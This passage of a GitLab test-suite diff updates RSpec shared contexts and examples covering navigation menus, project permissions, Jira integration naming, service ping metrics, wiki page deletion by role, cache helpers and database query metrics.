+ nav_sub_items: [
+ _('Activity'),
+ _('Labels'),
+ _('Members')
+ ]
+ },
{
nav_item: _('Repository'),
nav_sub_items: [
@@ -120,8 +63,44 @@ RSpec.shared_context 'project navbar structure' do
]
},
security_and_compliance_nav_item,
- monitor_nav_item,
- analytics_nav_item,
+ {
+ nav_item: _('Deployments'),
+ nav_sub_items: [
+ _('Feature Flags'),
+ _('Environments'),
+ _('Releases')
+ ]
+ },
+ {
+ nav_item: _('Monitor'),
+ nav_sub_items: [
+ _('Metrics'),
+ _('Logs'),
+ _('Tracing'),
+ _('Error Tracking'),
+ _('Alerts'),
+ _('Incidents'),
+ _('Product Analytics')
+ ]
+ },
+ {
+ nav_item: _('Infrastructure'),
+ nav_sub_items: [
+ _('Kubernetes clusters'),
+ _('Serverless platform'),
+ _('Terraform')
+ ]
+ },
+ {
+ nav_item: _('Analytics'),
+ nav_sub_items: [
+ _('CI/CD'),
+ (_('Code review') if Gitlab.ee?),
+ (_('Merge request') if Gitlab.ee?),
+ _('Repository'),
+ _('Value stream')
+ ]
+ },
{
nav_item: _('Wiki'),
nav_sub_items: []
@@ -132,7 +111,15 @@ RSpec.shared_context 'project navbar structure' do
},
{
nav_item: _('Settings'),
- nav_sub_items: settings_menu_items
+ nav_sub_items: [
+ _('General'),
+ _('Integrations'),
+ _('Webhooks'),
+ _('Access Tokens'),
+ _('Repository'),
+ _('CI/CD'),
+ _('Monitor')
+ ]
}
].compact
end
@@ -189,17 +176,6 @@ RSpec.shared_context 'group navbar structure' do
}
end
- let(:group_information_nav_item) do
- {
- nav_item: _('Group information'),
- nav_sub_items: [
- _('Activity'),
- _('Labels'),
- _('Members')
- ]
- }
- end
-
let(:issues_nav_items) do
[
_('List'),
@@ -208,17 +184,20 @@ RSpec.shared_context 'group navbar structure' do
]
end
- let(:group_context_nav_item) do
- {
- nav_item: "#{group.name[0, 1].upcase} #{group.name}",
- nav_sub_items: []
- }
- end
-
let(:structure) do
[
- group_context_nav_item,
- group_information_nav_item,
+ {
+ nav_item: "#{group.name[0, 1].upcase} #{group.name}",
+ nav_sub_items: []
+ },
+ {
+ nav_item: _('Group information'),
+ nav_sub_items: [
+ _('Activity'),
+ _('Labels'),
+ _('Members')
+ ]
+ },
{
nav_item: _('Issues'),
nav_sub_items: issues_nav_items
@@ -227,7 +206,7 @@ RSpec.shared_context 'group navbar structure' do
nav_item: _('Merge requests'),
nav_sub_items: []
},
- security_and_compliance_nav_item,
+ (security_and_compliance_nav_item if Gitlab.ee?),
(push_rules_nav_item if Gitlab.ee?),
{
nav_item: _('Kubernetes'),
diff --git a/spec/support/shared_contexts/policies/project_policy_shared_context.rb b/spec/support/shared_contexts/policies/project_policy_shared_context.rb
index d638ffcf8fa..de1b46c65ad 100644
--- a/spec/support/shared_contexts/policies/project_policy_shared_context.rb
+++ b/spec/support/shared_contexts/policies/project_policy_shared_context.rb
@@ -48,7 +48,7 @@ RSpec.shared_context 'ProjectPolicy context' do
destroy_container_image push_code read_pod_logs read_terraform_state
resolve_note update_build update_commit_status update_container_image
update_deployment update_environment update_merge_request
- update_metrics_dashboard_annotation update_pipeline update_release
+ update_metrics_dashboard_annotation update_pipeline update_release destroy_release
]
end
@@ -57,7 +57,7 @@ RSpec.shared_context 'ProjectPolicy context' do
add_cluster admin_build admin_commit_status admin_container_image
admin_deployment admin_environment admin_note admin_pipeline
admin_project admin_project_member admin_snippet admin_terraform_state
- admin_wiki create_deploy_token destroy_deploy_token destroy_release
+ admin_wiki create_deploy_token destroy_deploy_token
push_to_delete_protected_branch read_deploy_token update_snippet
]
end
diff --git a/spec/support/shared_contexts/requests/api/graphql/jira_import/jira_projects_context.rb b/spec/support/shared_contexts/requests/api/graphql/jira_import/jira_projects_context.rb
index de40b926a1c..6d34675e8e5 100644
--- a/spec/support/shared_contexts/requests/api/graphql/jira_import/jira_projects_context.rb
+++ b/spec/support/shared_contexts/requests/api/graphql/jira_import/jira_projects_context.rb
@@ -4,8 +4,8 @@ RSpec.shared_context 'Jira projects request context' do
let(:url) { 'https://jira.example.com' }
let(:username) { 'jira-username' }
let(:password) { 'jira-password' }
- let!(:jira_service) do
- create(:jira_service,
+ let!(:jira_integration) do
+ create(:jira_integration,
project: project,
url: url,
username: username,
diff --git a/spec/support/shared_contexts/services/service_ping/stubbed_service_ping_metrics_definitions_shared_context.rb b/spec/support/shared_contexts/services/service_ping/stubbed_service_ping_metrics_definitions_shared_context.rb
new file mode 100644
index 00000000000..ea72398010c
--- /dev/null
+++ b/spec/support/shared_contexts/services/service_ping/stubbed_service_ping_metrics_definitions_shared_context.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'stubbed service ping metrics definitions' do
+ include UsageDataHelpers
+
+ let(:metrics_definitions) { standard_metrics + subscription_metrics + operational_metrics + optional_metrics }
+ let(:standard_metrics) do
+ [
+ metric_attributes('uuid', "Standard")
+ ]
+ end
+
+ let(:operational_metrics) do
+ [
+ metric_attributes('counts.merge_requests', "Operational"),
+ metric_attributes('counts.todos', "Operational")
+ ]
+ end
+
+ let(:optional_metrics) do
+ [
+ metric_attributes('counts.boards', "Optional"),
+ metric_attributes('gitaly.filesystems', '').except('data_category')
+ ]
+ end
+
+ before do
+ stub_usage_data_connections
+ stub_object_store_settings
+
+ allow(Gitlab::Usage::MetricDefinition).to(
+ receive(:definitions)
+ .and_return(metrics_definitions.to_h { |definition| [definition['key_path'], Gitlab::Usage::MetricDefinition.new('', definition.symbolize_keys)] })
+ )
+ end
+
+ def metric_attributes(key_path, category)
+ {
+ 'key_path' => key_path,
+ 'data_category' => category
+ }
+ end
+end
diff --git a/spec/support/shared_contexts/unique_ip_check_shared_context.rb b/spec/support/shared_contexts/unique_ip_check_shared_context.rb
index f6bedb6cada..8d199df1c10 100644
--- a/spec/support/shared_contexts/unique_ip_check_shared_context.rb
+++ b/spec/support/shared_contexts/unique_ip_check_shared_context.rb
@@ -5,9 +5,9 @@ RSpec.shared_context 'unique ips sign in limit' do
let(:request_context) { Gitlab::RequestContext.instance }
before do
- Gitlab::Redis::Cache.with(&:flushall)
- Gitlab::Redis::Queues.with(&:flushall)
- Gitlab::Redis::SharedState.with(&:flushall)
+ redis_cache_cleanup!
+ redis_queues_cleanup!
+ redis_shared_state_cleanup!
end
before do
diff --git a/spec/support/shared_examples/ci/edit_job_token_scope_shared_examples.rb b/spec/support/shared_examples/ci/edit_job_token_scope_shared_examples.rb
new file mode 100644
index 00000000000..05b2b5f5de1
--- /dev/null
+++ b/spec/support/shared_examples/ci/edit_job_token_scope_shared_examples.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'editable job token scope' do
+ shared_examples 'returns error' do |error|
+ it 'returns an error response', :aggregate_failures do
+ expect(result).to be_error
+ expect(result.message).to eq(error)
+ end
+ end
+
+ context 'when job token scope is disabled for the given project' do
+ before do
+ allow(project).to receive(:ci_job_token_scope_enabled?).and_return(false)
+ end
+
+ it_behaves_like 'returns error', 'Job token scope is disabled for this project'
+ end
+
+ context 'when user does not have permissions to edit the job token scope' do
+ it_behaves_like 'returns error', 'Insufficient permissions to modify the job token scope'
+ end
+
+ context 'when user has permissions to edit the job token scope' do
+ before do
+ project.add_maintainer(current_user)
+ end
+
+ context 'when target project is not provided' do
+ let(:target_project) { nil }
+
+ it_behaves_like 'returns error', Ci::JobTokenScope::EditScopeValidations::TARGET_PROJECT_UNAUTHORIZED_OR_UNFOUND
+ end
+
+ context 'when target project is provided' do
+ context 'when user does not have permissions to read the target project' do
+ it_behaves_like 'returns error', Ci::JobTokenScope::EditScopeValidations::TARGET_PROJECT_UNAUTHORIZED_OR_UNFOUND
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/controllers/access_tokens_controller_shared_examples.rb b/spec/support/shared_examples/controllers/access_tokens_controller_shared_examples.rb
index 70a684c12bf..017e55309f7 100644
--- a/spec/support/shared_examples/controllers/access_tokens_controller_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/access_tokens_controller_shared_examples.rb
@@ -44,11 +44,13 @@ RSpec.shared_examples 'project access tokens available #create' do
end
it 'creates project access token' do
+ access_level = access_token_params[:access_level] || Gitlab::Access::MAINTAINER
subject
expect(created_token.name).to eq(access_token_params[:name])
expect(created_token.scopes).to eq(access_token_params[:scopes])
expect(created_token.expires_at).to eq(access_token_params[:expires_at])
+ expect(project.project_member(created_token.user).access_level).to eq(access_level)
end
it 'creates project bot user' do
diff --git a/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb b/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb
index 9af35c189d0..e8f7e62d0d7 100644
--- a/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb
@@ -1,10 +1,11 @@
# frozen_string_literal: true
RSpec.shared_examples 'wiki controller actions' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:other_user) { create(:user) }
+
let(:container) { raise NotImplementedError }
let(:routing_params) { raise NotImplementedError }
-
- let_it_be(:user) { create(:user) }
let(:wiki) { Wiki.for_container(container, user) }
let(:wiki_title) { 'page title test' }
@@ -458,6 +459,7 @@ RSpec.shared_examples 'wiki controller actions' do
describe 'DELETE #destroy' do
let(:id_param) { wiki_title }
+ let(:delete_user) { user }
subject(:request) do
delete(:destroy,
@@ -466,13 +468,21 @@ RSpec.shared_examples 'wiki controller actions' do
))
end
+ before do
+ sign_in(delete_user)
+ end
+
context 'when page exists' do
- it 'deletes the page' do
- expect do
- request
- end.to change { wiki.list_pages.size }.by(-1)
+ shared_examples 'deletes the page' do
+ specify do
+ expect do
+ request
+ end.to change { wiki.list_pages.size }.by(-1)
+ end
end
+ it_behaves_like 'deletes the page'
+
context 'but page cannot be deleted' do
before do
allow_next_instance_of(WikiPage) do |page|
@@ -489,6 +499,28 @@ RSpec.shared_examples 'wiki controller actions' do
expect(assigns(:error)).to eq('Could not delete wiki page')
end
end
+
+ context 'when user is a developer' do
+ let(:delete_user) { other_user }
+
+ before do
+ container.add_developer(other_user)
+ end
+
+ it_behaves_like 'deletes the page'
+ end
+
+ context 'when user is a reporter' do
+ let(:delete_user) { other_user }
+
+ before do
+ container.add_reporter(other_user)
+ end
+
+ it 'returns 404' do
+ is_expected.to have_gitlab_http_status(:not_found)
+ end
+ end
end
context 'when page does not exist' do
diff --git a/spec/support/shared_examples/features/cascading_settings_shared_examples.rb b/spec/support/shared_examples/features/cascading_settings_shared_examples.rb
index 29ef3da9a85..395f4fc54e0 100644
--- a/spec/support/shared_examples/features/cascading_settings_shared_examples.rb
+++ b/spec/support/shared_examples/features/cascading_settings_shared_examples.rb
@@ -13,10 +13,22 @@ RSpec.shared_examples 'a cascading setting' do
click_save_button
end
- it 'disables setting in subgroups' do
- visit subgroup_path
+ shared_examples 'subgroup settings are disabled' do
+ it 'disables setting in subgroups' do
+ visit subgroup_path
+
+ expect(find("#{setting_field_selector}[disabled]")).to be_checked
+ end
+ end
+
+ include_examples 'subgroup settings are disabled'
+
+ context 'when use_traversal_ids_for_ancestors is disabled' do
+ before do
+ stub_feature_flags(use_traversal_ids_for_ancestors: false)
+ end
- expect(find("#{setting_field_selector}[disabled]")).to be_checked
+ include_examples 'subgroup settings are disabled'
end
it 'does not show enforcement checkbox in subgroups' do
diff --git a/spec/support/shared_examples/features/packages_shared_examples.rb b/spec/support/shared_examples/features/packages_shared_examples.rb
index 4d2e13aa5bc..9e88db2e1c0 100644
--- a/spec/support/shared_examples/features/packages_shared_examples.rb
+++ b/spec/support/shared_examples/features/packages_shared_examples.rb
@@ -32,11 +32,9 @@ RSpec.shared_examples 'package details link' do |property|
expect(page).to have_current_path(project_package_path(package.project, package))
- page.within('[data-qa-selector="package_title"]') do
- expect(page).to have_content(package.name)
- end
+ expect(page).to have_css('.packages-app h1[data-testid="title"]', text: package.name)
- page.within('[data-qa-selector="package_information_content"]') do
+ page.within(%Q([name="#{package.name}"])) do
expect(page).to have_content('Installation')
expect(page).to have_content('Registry setup')
end
diff --git a/spec/support/shared_examples/features/search/search_timeouts_shared_examples.rb b/spec/support/shared_examples/features/search/search_timeouts_shared_examples.rb
new file mode 100644
index 00000000000..bb5460e2a6f
--- /dev/null
+++ b/spec/support/shared_examples/features/search/search_timeouts_shared_examples.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'search timeouts' do |scope|
+ context 'when search times out' do
+ before do
+ allow_next_instance_of(SearchService) do |service|
+ allow(service).to receive(:search_objects).and_raise(ActiveRecord::QueryCanceled)
+ end
+
+ visit(search_path(search: 'test', scope: scope))
+ end
+
+ it 'renders timeout information' do
+ expect(page).to have_content('Your search timed out')
+ end
+
+ it 'sets tab count to 0' do
+ expect(page.find('.search-filter .active')).to have_text('0')
+ end
+ end
+end
diff --git a/spec/support/shared_examples/features/sidebar_shared_examples.rb b/spec/support/shared_examples/features/sidebar_shared_examples.rb
index c9508818f74..5bfe929e957 100644
--- a/spec/support/shared_examples/features/sidebar_shared_examples.rb
+++ b/spec/support/shared_examples/features/sidebar_shared_examples.rb
@@ -175,12 +175,4 @@ RSpec.shared_examples 'issue boards sidebar' do
end
end
end
-
- def refresh_and_click_first_card
- page.refresh
-
- wait_for_requests
-
- first_card.click
- end
end
diff --git a/spec/support/shared_examples/features/wiki/user_creates_wiki_page_shared_examples.rb b/spec/support/shared_examples/features/wiki/user_creates_wiki_page_shared_examples.rb
index f2576931642..dfc9a45bd0d 100644
--- a/spec/support/shared_examples/features/wiki/user_creates_wiki_page_shared_examples.rb
+++ b/spec/support/shared_examples/features/wiki/user_creates_wiki_page_shared_examples.rb
@@ -20,17 +20,6 @@ RSpec.shared_examples 'User creates wiki page' do
click_link "Create your first page"
end
- it "shows validation error message if the form is force submitted", :js do
- page.within(".wiki-form") do
- fill_in(:wiki_content, with: "")
-
- page.execute_script("document.querySelector('.wiki-form').submit()")
- page.accept_alert # manually force form submit
- end
-
- expect(page).to have_content("The form contains the following error:").and have_content("Content can't be blank")
- end
-
it "disables the submit button", :js do
page.within(".wiki-form") do
fill_in(:wiki_content, with: "")
diff --git a/spec/support/shared_examples/features/wiki/user_deletes_wiki_page_shared_examples.rb b/spec/support/shared_examples/features/wiki/user_deletes_wiki_page_shared_examples.rb
index ee0261771f9..55c89977a99 100644
--- a/spec/support/shared_examples/features/wiki/user_deletes_wiki_page_shared_examples.rb
+++ b/spec/support/shared_examples/features/wiki/user_deletes_wiki_page_shared_examples.rb
@@ -7,18 +7,34 @@
RSpec.shared_examples 'User deletes wiki page' do
include WikiHelpers
+ let_it_be(:developer) { create(:user) }
+
let(:wiki_page) { create(:wiki_page, wiki: wiki) }
before do
+ wiki.container.add_developer(developer)
+
sign_in(user)
visit wiki_page_path(wiki, wiki_page)
end
- it 'deletes a page', :js do
- click_on('Edit')
- click_on('Delete')
- find('[data-testid="confirm_deletion_button"]').click
+ shared_examples 'deletes a wiki page' do
+ specify 'deletes a page', :js do
+ click_on('Edit')
+ click_on('Delete')
+ find('[data-testid="confirm_deletion_button"]').click
+
+ expect(page).to have_content('Wiki page was successfully deleted.')
+ end
+ end
+
+ context 'when user is the owner or maintainer' do
+ it_behaves_like 'deletes a wiki page'
+ end
+
+ context 'when user is a developer' do
+ let(:user) { developer }
- expect(page).to have_content('Wiki page was successfully deleted.')
+ it_behaves_like 'deletes a wiki page'
end
end
diff --git a/spec/support/shared_examples/features/wiki/user_updates_wiki_page_shared_examples.rb b/spec/support/shared_examples/features/wiki/user_updates_wiki_page_shared_examples.rb
index db2a96d9649..9587da0233e 100644
--- a/spec/support/shared_examples/features/wiki/user_updates_wiki_page_shared_examples.rb
+++ b/spec/support/shared_examples/features/wiki/user_updates_wiki_page_shared_examples.rb
@@ -90,19 +90,6 @@ RSpec.shared_examples 'User updates wiki page' do
expect(page).to have_field('wiki[message]', with: 'Update Wiki title')
end
- it 'shows a validation error message if the form is force submitted', :js do
- fill_in(:wiki_content, with: '')
-
- page.execute_script("document.querySelector('.wiki-form').submit()")
- page.accept_alert # manually force form submit
-
- expect(page).to have_selector('.wiki-form')
- expect(page).to have_content('Edit Page')
- expect(page).to have_content('The form contains the following error:')
- expect(page).to have_content("Content can't be blank")
- expect(find('textarea#wiki_content').value).to eq('')
- end
-
it "disables the submit button", :js do
page.within(".wiki-form") do
fill_in(:wiki_content, with: "")
diff --git a/spec/support/shared_examples/graphql/design_fields_shared_examples.rb b/spec/support/shared_examples/graphql/design_fields_shared_examples.rb
index 9c2eb3e5a5c..efbcfaf0e91 100644
--- a/spec/support/shared_examples/graphql/design_fields_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/design_fields_shared_examples.rb
@@ -27,6 +27,7 @@ RSpec.shared_examples 'a GraphQL type with design fields' do
describe '#image' do
let_it_be(:current_user) { create(:user) }
+
let(:schema) { GitlabSchema }
let(:query) { GraphQL::Query.new(schema) }
let(:context) { query.context }
diff --git a/spec/support/shared_examples/graphql/mutations/can_mutate_spammable_examples.rb b/spec/support/shared_examples/graphql/mutations/can_mutate_spammable_examples.rb
index 5e15c91cd41..011a2157f24 100644
--- a/spec/support/shared_examples/graphql/mutations/can_mutate_spammable_examples.rb
+++ b/spec/support/shared_examples/graphql/mutations/can_mutate_spammable_examples.rb
@@ -3,17 +3,13 @@
require 'spec_helper'
RSpec.shared_examples 'a mutation which can mutate a spammable' do
- describe "#additional_spam_params" do
- it 'passes additional spam params to the service' do
+ describe "#spam_params" do
+ it 'passes spam params to the service constructor' do
args = [
project: anything,
current_user: anything,
- params: hash_including(
- api: true,
- request: instance_of(ActionDispatch::Request),
- captcha_response: captcha_response,
- spam_log_id: spam_log_id
- )
+ params: anything,
+ spam_params: instance_of(::Spam::SpamParams)
]
expect(service).to receive(:new).with(*args).and_call_original
diff --git a/spec/support/shared_examples/graphql/spam_protection_shared_examples.rb b/spec/support/shared_examples/graphql/spam_protection_shared_examples.rb
index 8fb89a4f80e..c0b71a494d0 100644
--- a/spec/support/shared_examples/graphql/spam_protection_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/spam_protection_shared_examples.rb
@@ -57,7 +57,7 @@ RSpec.shared_examples 'has spam protection' do
context 'and no CAPTCHA is required' do
let(:render_captcha) { false }
- it 'does not return a to-level error' do
+ it 'does not return a top-level error' do
send_request
expect(graphql_errors).to be_blank
diff --git a/spec/support/shared_examples/lib/cache_helpers_shared_examples.rb b/spec/support/shared_examples/lib/cache_helpers_shared_examples.rb
new file mode 100644
index 00000000000..845fa78a827
--- /dev/null
+++ b/spec/support/shared_examples/lib/cache_helpers_shared_examples.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples_for 'object cache helper' do
+ it { is_expected.to be_a(Gitlab::Json::PrecompiledJson) }
+
+ it "uses the presenter" do
+ expect(presenter).to receive(:represent).with(presentable, project: project)
+
+ subject
+ end
+
+ it "is valid JSON" do
+ parsed = Gitlab::Json.parse(subject.to_s)
+
+ expect(parsed).to be_a(Hash)
+ expect(parsed["id"]).to eq(presentable.id)
+ end
+
+ it "fetches from the cache" do
+ expect(instance.cache).to receive(:fetch).with("#{presenter.class.name}:#{presentable.cache_key}:#{user.cache_key}", expires_in: described_class::DEFAULT_EXPIRY).once
+
+ subject
+ end
+
+ context "when a cache context is supplied" do
+ before do
+ kwargs[:cache_context] = -> (item) { item.project.cache_key }
+ end
+
+ it "uses the context to augment the cache key" do
+ expect(instance.cache).to receive(:fetch).with("#{presenter.class.name}:#{presentable.cache_key}:#{project.cache_key}", expires_in: described_class::DEFAULT_EXPIRY).once
+
+ subject
+ end
+ end
+
+ context "when expires_in is supplied" do
+ it "sets the expiry when accessing the cache" do
+ kwargs[:expires_in] = 7.days
+
+ expect(instance.cache).to receive(:fetch).with("#{presenter.class.name}:#{presentable.cache_key}:#{user.cache_key}", expires_in: 7.days).once
+
+ subject
+ end
+ end
+end
+
+RSpec.shared_examples_for 'collection cache helper' do
+ it { is_expected.to be_an(Gitlab::Json::PrecompiledJson) }
+
+ it "uses the presenter" do
+ presentable.each do |item|
+ expect(presenter).to receive(:represent).with(item, project: project)
+ end
+
+ subject
+ end
+
+ it "is valid JSON" do
+ parsed = Gitlab::Json.parse(subject.to_s)
+
+ expect(parsed).to be_an(Array)
+
+ presentable.each_with_index do |item, i|
+ expect(parsed[i]["id"]).to eq(item.id)
+ end
+ end
+
+ it "fetches from the cache" do
+ keys = presentable.map { |item| "#{presenter.class.name}:#{item.cache_key}:#{user.cache_key}" }
+
+ expect(instance.cache).to receive(:fetch_multi).with(*keys, expires_in: described_class::DEFAULT_EXPIRY).once.and_call_original
+
+ subject
+ end
+
+ context "when a cache context is supplied" do
+ before do
+ kwargs[:cache_context] = -> (item) { item.project.cache_key }
+ end
+
+ it "uses the context to augment the cache key" do
+ keys = presentable.map { |item| "#{presenter.class.name}:#{item.cache_key}:#{project.cache_key}" }
+
+ expect(instance.cache).to receive(:fetch_multi).with(*keys, expires_in: described_class::DEFAULT_EXPIRY).once.and_call_original
+
+ subject
+ end
+ end
+
+ context "expires_in is supplied" do
+ it "sets the expiry when accessing the cache" do
+ keys = presentable.map { |item| "#{presenter.class.name}:#{item.cache_key}:#{user.cache_key}" }
+ kwargs[:expires_in] = 7.days
+
+ expect(instance.cache).to receive(:fetch_multi).with(*keys, expires_in: 7.days).once.and_call_original
+
+ subject
+ end
+ end
+end
diff --git a/spec/support/shared_examples/lib/gitlab/cycle_analytics/event_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/cycle_analytics/event_shared_examples.rb
index 7d341d79bae..6e12b5a0e85 100644
--- a/spec/support/shared_examples/lib/gitlab/cycle_analytics/event_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/cycle_analytics/event_shared_examples.rb
@@ -3,6 +3,7 @@
RSpec.shared_examples_for 'value stream analytics event' do
let(:params) { {} }
let(:instance) { described_class.new(params) }
+ let(:expected_hash_code) { Digest::SHA256.hexdigest(instance.class.identifier.to_s) }
it { expect(described_class.name).to be_a_kind_of(String) }
it { expect(described_class.identifier).to be_a_kind_of(Symbol) }
@@ -19,4 +20,16 @@ RSpec.shared_examples_for 'value stream analytics event' do
expect(output_query).to be_a_kind_of(ActiveRecord::Relation)
end
end
+
+ describe '#hash_code' do
+ it 'returns a hash that uniquely identifies an event' do
+ expect(instance.hash_code).to eq(expected_hash_code)
+ end
+
+ it 'does not differ when the same object is built with the same params' do
+ another_instance_with_same_params = described_class.new(params)
+
+ expect(another_instance_with_same_params.hash_code).to eq(instance.hash_code)
+ end
+ end
end
diff --git a/spec/support/shared_examples/lib/gitlab/import_export/relation_factory_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/import_export/relation_factory_shared_examples.rb
index 33061f17bde..3c5c65f0690 100644
--- a/spec/support/shared_examples/lib/gitlab/import_export/relation_factory_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/import_export/relation_factory_shared_examples.rb
@@ -12,7 +12,7 @@ RSpec.shared_examples 'Notes user references' do
'id' => 111,
'access_level' => 30,
'source_id' => 1,
- 'source_type' => importable.class.name == 'Project' ? 'Project' : 'Namespace',
+ 'source_type' => importable.instance_of?(Project) ? 'Project' : 'Namespace',
'user_id' => 3,
'notification_level' => 3,
'created_at' => '2016-11-18T09:29:42.634Z',
diff --git a/spec/support/shared_examples/lib/gitlab/kubernetes/network_policy_common_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/kubernetes/network_policy_common_shared_examples.rb
index f018ece0d46..2633a89eeee 100644
--- a/spec/support/shared_examples/lib/gitlab/kubernetes/network_policy_common_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/kubernetes/network_policy_common_shared_examples.rb
@@ -19,7 +19,8 @@ RSpec.shared_examples 'network policy common specs' do
creation_timestamp: nil,
manifest: YAML.dump(policy.resource.deep_stringify_keys),
is_autodevops: false,
- is_enabled: true
+ is_enabled: true,
+ environment_ids: []
}
end
diff --git a/spec/support/shared_examples/lib/gitlab/search_results_sorted_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/search_results_sorted_shared_examples.rb
index eafb49cef71..e4f09dfa0b0 100644
--- a/spec/support/shared_examples/lib/gitlab/search_results_sorted_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/search_results_sorted_shared_examples.rb
@@ -33,3 +33,21 @@ RSpec.shared_examples 'search results sorted' do
end
end
end
+
+RSpec.shared_examples 'search results sorted by popularity' do
+ context 'sort: popularity_desc' do
+ let(:sort) { 'popularity_desc' }
+
+ it 'sorts results by upvotes' do
+ expect(results_popular.objects(scope).map(&:id)).to eq([popular_result.id, less_popular_result.id, non_popular_result.id])
+ end
+ end
+
+ context 'sort: popularity_asc' do
+ let(:sort) { 'popularity_asc' }
+
+ it 'sorts results by created_at' do
+ expect(results_popular.objects(scope).map(&:id)).to eq([non_popular_result.id, less_popular_result.id, popular_result.id])
+ end
+ end
+end
diff --git a/spec/support/shared_examples/metrics/active_record_subscriber_shared_examples.rb b/spec/support/shared_examples/metrics/active_record_subscriber_shared_examples.rb
index 1b110ab02b5..a84658780b9 100644
--- a/spec/support/shared_examples/metrics/active_record_subscriber_shared_examples.rb
+++ b/spec/support/shared_examples/metrics/active_record_subscriber_shared_examples.rb
@@ -5,9 +5,10 @@ RSpec.shared_examples 'store ActiveRecord info in RequestStore' do |db_role|
2.times do
Gitlab::WithRequestStore.with_request_store do
subscriber.sql(event)
+ connection = event.payload[:connection]
if db_role == :primary
- expect(described_class.db_counter_payload).to eq(
+ expected = {
db_count: record_query ? 1 : 0,
db_write_count: record_write_query ? 1 : 0,
db_cached_count: record_cached_query ? 1 : 0,
@@ -18,10 +19,13 @@ RSpec.shared_examples 'store ActiveRecord info in RequestStore' do |db_role|
db_replica_count: 0,
db_replica_duration_s: 0.0,
db_primary_wal_count: record_wal_query ? 1 : 0,
+ db_primary_wal_cached_count: record_wal_query && record_cached_query ? 1 : 0,
+ db_replica_wal_cached_count: 0,
db_replica_wal_count: 0
- )
+ }
+ expected[:"db_primary_#{::Gitlab::Database.dbname(connection)}_duration_s"] = 0.002 if record_query
elsif db_role == :replica
- expect(described_class.db_counter_payload).to eq(
+ expected = {
db_count: record_query ? 1 : 0,
db_write_count: record_write_query ? 1 : 0,
db_cached_count: record_cached_query ? 1 : 0,
@@ -32,15 +36,35 @@ RSpec.shared_examples 'store ActiveRecord info in RequestStore' do |db_role|
db_replica_count: record_query ? 1 : 0,
db_replica_duration_s: record_query ? 0.002 : 0,
db_replica_wal_count: record_wal_query ? 1 : 0,
+ db_replica_wal_cached_count: record_wal_query && record_cached_query ? 1 : 0,
+ db_primary_wal_cached_count: 0,
db_primary_wal_count: 0
- )
+ }
+ expected[:"db_replica_#{::Gitlab::Database.dbname(connection)}_duration_s"] = 0.002 if record_query
else
- expect(described_class.db_counter_payload).to eq(
+ expected = {
db_count: record_query ? 1 : 0,
db_write_count: record_write_query ? 1 : 0,
db_cached_count: record_cached_query ? 1 : 0
- )
+ }
end
+
+ expect(described_class.db_counter_payload).to eq(expected)
+ end
+ end
+ end
+
+ context 'when multiple_database_metrics is disabled' do
+ before do
+ stub_feature_flags(multiple_database_metrics: false)
+ end
+
+ it 'does not include per database metrics' do
+ Gitlab::WithRequestStore.with_request_store do
+ subscriber.sql(event)
+ connection = event.payload[:connection]
+
+ expect(described_class.db_counter_payload).not_to include(:"db_replica_#{::Gitlab::Database.dbname(connection)}_duration_s")
end
end
end
@@ -71,7 +95,10 @@ RSpec.shared_examples 'record ActiveRecord metrics in a metrics transaction' do
end
if record_wal_query
- expect(transaction).to receive(:increment).with("gitlab_transaction_db_#{db_role}_wal_count_total".to_sym, 1) if db_role
+ if db_role
+ expect(transaction).to receive(:increment).with("gitlab_transaction_db_#{db_role}_wal_count_total".to_sym, 1)
+ expect(transaction).to receive(:increment).with("gitlab_transaction_db_#{db_role}_wal_cached_count_total".to_sym, 1) if record_cached_query
+ end
else
expect(transaction).not_to receive(:increment).with("gitlab_transaction_db_#{db_role}_wal_count_total".to_sym, 1) if db_role
end
diff --git a/spec/support/shared_examples/models/atomic_internal_id_shared_examples.rb b/spec/support/shared_examples/models/atomic_internal_id_shared_examples.rb
index 42f82987989..03f565e0aac 100644
--- a/spec/support/shared_examples/models/atomic_internal_id_shared_examples.rb
+++ b/spec/support/shared_examples/models/atomic_internal_id_shared_examples.rb
@@ -165,9 +165,9 @@ RSpec.shared_examples 'AtomicInternalId' do |validate_presence: true|
3.times { supply.next_value }
end
- current_value = described_class.public_send(method_name, scope_value, &:current_value)
-
- expect(current_value).to eq(iid + 3)
+ described_class.public_send(method_name, scope_value) do |supply|
+ expect(supply.next_value).to eq(iid + 4)
+ end
end
end
diff --git a/spec/support/shared_examples/models/chat_integration_shared_examples.rb b/spec/support/shared_examples/models/chat_integration_shared_examples.rb
index 9f3be3e2e06..72659dd5f3b 100644
--- a/spec/support/shared_examples/models/chat_integration_shared_examples.rb
+++ b/spec/support/shared_examples/models/chat_integration_shared_examples.rb
@@ -13,7 +13,7 @@ RSpec.shared_examples "chat integration" do |integration_name|
end
it { is_expected.to validate_presence_of(:webhook) }
- it_behaves_like "issue tracker service URL attribute", :webhook
+ it_behaves_like "issue tracker integration URL attribute", :webhook
end
context "when integration is inactive" do
@@ -163,7 +163,7 @@ RSpec.shared_examples "chat integration" do |integration_name|
context "with issue events" do
let(:opts) { { title: "Awesome issue", description: "please fix" } }
let(:sample_data) do
- service = Issues::CreateService.new(project: project, current_user: user, params: opts)
+ service = Issues::CreateService.new(project: project, current_user: user, params: opts, spam_params: nil)
issue = service.execute
service.hook_data(issue, "open")
end
